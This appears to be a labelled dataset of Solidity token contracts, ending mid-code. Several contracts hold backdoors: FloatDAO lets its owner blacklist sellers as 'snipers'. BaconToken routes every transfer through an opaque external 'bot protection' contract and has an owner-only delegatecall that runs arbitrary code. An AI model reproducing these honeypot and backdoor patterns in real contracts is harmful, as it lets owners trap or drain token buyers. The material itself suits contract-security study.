if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success)
{
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value)
onlyPayloadSize(2)
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
constant
onlyPayloadSize(2)
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
}
contract DECoin is StandardToken {
string public name = "德";
string public symbol = "德";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 77760000 * 1 ether;
function DECoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 4,276 |
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FloatDAO is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) public _firstBuyTime;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _isExcludedFromFee;
address payable public dev;
address payable public advocacy;
address payable public treasury;
address public _burnPool = 0x0000000000000000000000000000000000000000;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 57 * 10**15 * 10**9;
string private _name = "Float DAO";
string private _symbol = "FLOAT";
uint8 private _decimals = 9;
uint256 public _treasuryFee = 1000;
uint256 public _advocacyFee = 200;
uint256 public _burnFee = 200;
uint256 public _developmentFee = 100;
uint256 public _dayTraderMultiplicator = 17;
bool public transfersEnabled;
uint256 private launchBlock;
uint256 private launchTime;
uint256 private blocksLimit;
uint256 public _pendingDevelopmentFees;
uint256 public _pendingAdvocacyFees;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxWalletHolding = 142 * 10**13 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 10 * 10**12 * 10**9;
uint256 public _marketingAllocation = 3 * 10**15 * 10**9;
uint256 public _futureBurnsAllocation = 15 * 10**15 * 10**9;
uint256 public _defiAdvocacyAllocation = 2 * 10**15 * 10**9;
uint256 public _exchangeAllocation = 10 * 10**15 * 10**9;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable _devWallet, address payable _advocacyWallet, address payable _treasuryWallet, address _marketingWallet, address _exchangeWallet, address _futureBurnsWallet, address _defiAdvocacyWallet) public {
dev = _devWallet;
advocacy = _advocacyWallet;
treasury = _treasuryWallet;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_burnPool] = true;
_isExcludedFromFee[_futureBurnsWallet] = true;
_isExcludedFromFee[_advocacyWallet] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[_exchangeWallet] = true;
_isExcludedFromFee[_treasuryWallet] = true;
_isExcludedFromFee[_defiAdvocacyWallet] = true;
_balances[_futureBurnsWallet] = _futureBurnsAllocation;
_balances[_defiAdvocacyWallet] = _defiAdvocacyAllocation;
_balances[_exchangeWallet] = _exchangeAllocation;
_balances[_marketingWallet] = _marketingAllocation;
_balances[_msgSender()] = _tTotal - _balances[_marketingWallet] - _balances[_exchangeWallet] - _balances[_defiAdvocacyWallet] - _balances[_futureBurnsWallet];
emit Transfer(address(0), _msgSender(), _tTotal);
emit Transfer(_msgSender(), _marketingWallet, _marketingAllocation);
emit Transfer(_msgSender(), _exchangeWallet, _exchangeAllocation);
emit Transfer(_msgSender(), _futureBurnsWallet, _futureBurnsAllocation);
emit Transfer(_msgSender(), _defiAdvocacyWallet, _defiAdvocacyAllocation);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function airdrop(address payable [] memory holders, uint256 [] memory balances) public onlyOwner() {
require(holders.length == balances.length, "Incorrect input");
uint256 deployer_balance = _balances[_msgSender()];
for (uint8 i = 0; i < holders.length; i++) {
uint256 balance = balances[i] * 10 ** 15;
_balances[holders[i]] = _balances[holders[i]] + balance;
_firstBuyTime[holders[i]] = block.timestamp;
emit Transfer(_msgSender(), holders[i], balance);
deployer_balance = deployer_balance.sub(balance);
}
_balances[_msgSender()] = deployer_balance;
}
function manualSwapAndLiquify() public onlyOwner() {
uint256 contractTokenBalance = balanceOf(address(this));
swapAndLiquify(contractTokenBalance);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTax(uint256 _taxType, uint _taxSize) external onlyOwner() {
if (_taxType == 1) {
_treasuryFee = _taxSize;
require(_treasuryFee <= 1000);
}
else if (_taxType == 2) {
_developmentFee = _taxSize;
require(_developmentFee <= 200);
}
else if (_taxType == 3) {
_advocacyFee = _taxSize;
require(_advocacyFee <= 200);
}
else if (_taxType == 4) {
_burnFee = _taxSize;
require(_burnFee <= 200);
}
else if (_taxType == 5) {
_dayTraderMultiplicator = _taxSize;
}
}
function setSwapAndLiquifyEnabled(bool _enabled, uint256 _numTokensMin) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
numTokensSellToAddToLiquidity = _numTokensMin;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function enableTransfers(uint256 _blocksLimit) public onlyOwner() {
transfersEnabled = true;
launchBlock = block.number;
launchTime = block.timestamp;
blocksLimit = _blocksLimit;
}
function setSniperEnabled(bool _enabled, address sniper) public onlyOwner() {
_isSniper[sniper] = _enabled;
}
receive() external payable {}
function _takeOperations(uint256 tAmount, uint256 feeType) private returns (uint256) {
uint256 tTransferAmount = tAmount;
uint256 taxMultiplicator = 10;
if (feeType == 2) taxMultiplicator = _dayTraderMultiplicator;
uint256 tAdvocacy = calculateFee(tAmount, _advocacyFee, taxMultiplicator);
uint256 tDevelopment = calculateFee(tAmount, _developmentFee, taxMultiplicator);
uint256 tTreasury = calculateFee(tAmount, _treasuryFee, taxMultiplicator);
uint256 tBurn = calculateFee(tAmount, _burnFee, taxMultiplicator);
_pendingDevelopmentFees = _pendingDevelopmentFees.add(tDevelopment);
_pendingAdvocacyFees = _pendingAdvocacyFees.add(tAdvocacy);
tTransferAmount = tAmount - tTreasury - tAdvocacy - tDevelopment - tBurn;
uint256 tTaxes = tAmount - tTransferAmount - tBurn;
_balances[address(this)] = _balances[address(this)].add(tTaxes);
_balances[_burnPool] = _balances[_burnPool].add(tBurn);
return tTransferAmount;
}
function calculateFee(uint256 _amount, uint256 _taxRate, uint256 _taxMultiplicator) private pure returns (uint256) {
return _amount.mul(_taxRate).div(10**4).mul(_taxMultiplicator).div(10);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer( address from, address to, uint256 amount ) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
if (_firstBuyTime[to] == 0) _firstBuyTime[to] = block.timestamp;
uint256 feeType = 1;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
feeType = 0;
}
else {
require(transfersEnabled, "Transfers are not enabled now");
if (to == uniswapV2Pair || (to != uniswapV2Pair && from != uniswapV2Pair)) {
require(!_isSniper[from], "SNIPER!");
if (to != uniswapV2Pair && from != uniswapV2Pair) {
feeType = 0;
}
if (_firstBuyTime[from] != 0 && (_firstBuyTime[from] + (24 hours) > block.timestamp) ) {
feeType = 2;
}
}
if (from == uniswapV2Pair) {
if (block.number <= (launchBlock + blocksLimit)) _isSniper[to] = true;
}
}
_tokenTransfer(from, to, amount, feeType);
if (!_isExcludedFromFee[to] && (to != uniswapV2Pair)) require(balanceOf(to) < _maxWalletHolding, "Max Wallet holding limit exceeded");
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 payDevelopment = _pendingDevelopmentFees.mul(newBalance).div(contractTokenBalance);
uint256 payAdvocacy = _pendingAdvocacyFees.mul(newBalance).div(contractTokenBalance);
if (payDevelopment <= address(this).balance && payDevelopment > 0) dev.call{ value: payDevelopment }("");
if (payAdvocacy <= address(this).balance && payAdvocacy > 0) advocacy.call{ value: payAdvocacy }("");
if (address(this).balance > 0) treasury.call{ value: address(this).balance }("");
_pendingDevelopmentFees = 0;
_pendingAdvocacyFees = 0;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, uint256 feeType) private {
uint256 tTransferAmount = amount;
if (feeType != 0) {
tTransferAmount = _takeOperations(amount, feeType);
}
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0 | 301 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
event Burn(address indexed burner, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract BlockcloudToken is StandardToken {
string public name = "Blockcloud";
string public symbol = "BLOC";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
} | 1 | 3,420 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract MintableToken is StandardToken, Ownable, Pausable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 public constant maxTokensToMint = 1000000000 ether;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) {
return mintInternal(_to, _amount);
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) {
require(totalSupply_.add(_amount) <= maxTokensToMint);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
contract Guidee is MintableToken {
string public constant name = "Guidee";
string public constant symbol = "GUD";
bool public transferEnabled = false;
uint8 public constant decimals = 18;
bool public preIcoActive = false;
bool public preIcoFinished = false;
bool public icoActive = false;
bool public icoFinished = false;
uint256 public rate = 10600;
address public approvedUser = 0xe7826F376528EF4014E2b0dE7B480F2cF2f07225;
address public wallet = 0x854f51a6996cFC63b0B73dBF9abf6C25082ffb26;
uint256 public dateStart = 1521567827;
uint256 public tgeDateStart = 1521567827;
uint256 public constant maxTokenToBuy = 600000000 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount);
function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
modifier canTransfer() {
require(transferEnabled);
_;
}
modifier onlyOwnerOrApproved() {
require(msg.sender == owner || msg.sender == approvedUser);
_;
}
function enableTransfer() onlyOwner returns (bool) {
transferEnabled = true;
return true;
}
function startPre() onlyOwner returns (bool) {
require(!preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = true;
dateStart = block.timestamp;
return true;
}
function finishPre() onlyOwner returns (bool) {
require(preIcoActive && !preIcoFinished && !icoActive && !icoFinished);
preIcoActive = false;
preIcoFinished = true;
return true;
}
function startIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && !icoActive && !icoFinished);
icoActive = true;
tgeDateStart = block.timestamp;
return true;
}
function finishIco() onlyOwner returns (bool) {
require(!preIcoActive && preIcoFinished && icoActive && !icoFinished);
icoActive = false;
icoFinished = true;
return true;
}
modifier canBuyTokens() {
require(preIcoActive || icoActive);
require(block.timestamp >= dateStart);
_;
}
function setApprovedUser(address _user) onlyOwner returns (bool) {
require(_user != address(0));
approvedUser = _user;
return true;
}
function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable {
require(beneficiary != 0x0);
require(msg.value >= 100 finney);
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
uint8 bonus = 0;
if(preIcoActive) {
bonus = 25;
}
if( icoActive && block.timestamp - tgeDateStart <= 1 days){
bonus = 15;
}
if(bonus > 0){
tokens += tokens * bonus / 100;
}
require(totalSupply_.add(tokens) <= maxTokenToBuy);
require(mintInternal(beneficiary, tokens));
TokenPurchase(msg.sender, beneficiary, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function changeWallet(address _newWallet) onlyOwner returns (bool) {
require(_newWallet != 0x0);
wallet = _newWallet;
return true;
}
} | 1 | 5,359 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BaconToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 200000000000000000000000000;
string public name = "BaconDAO";
string public symbol = "BACON";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wrappedBinance, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
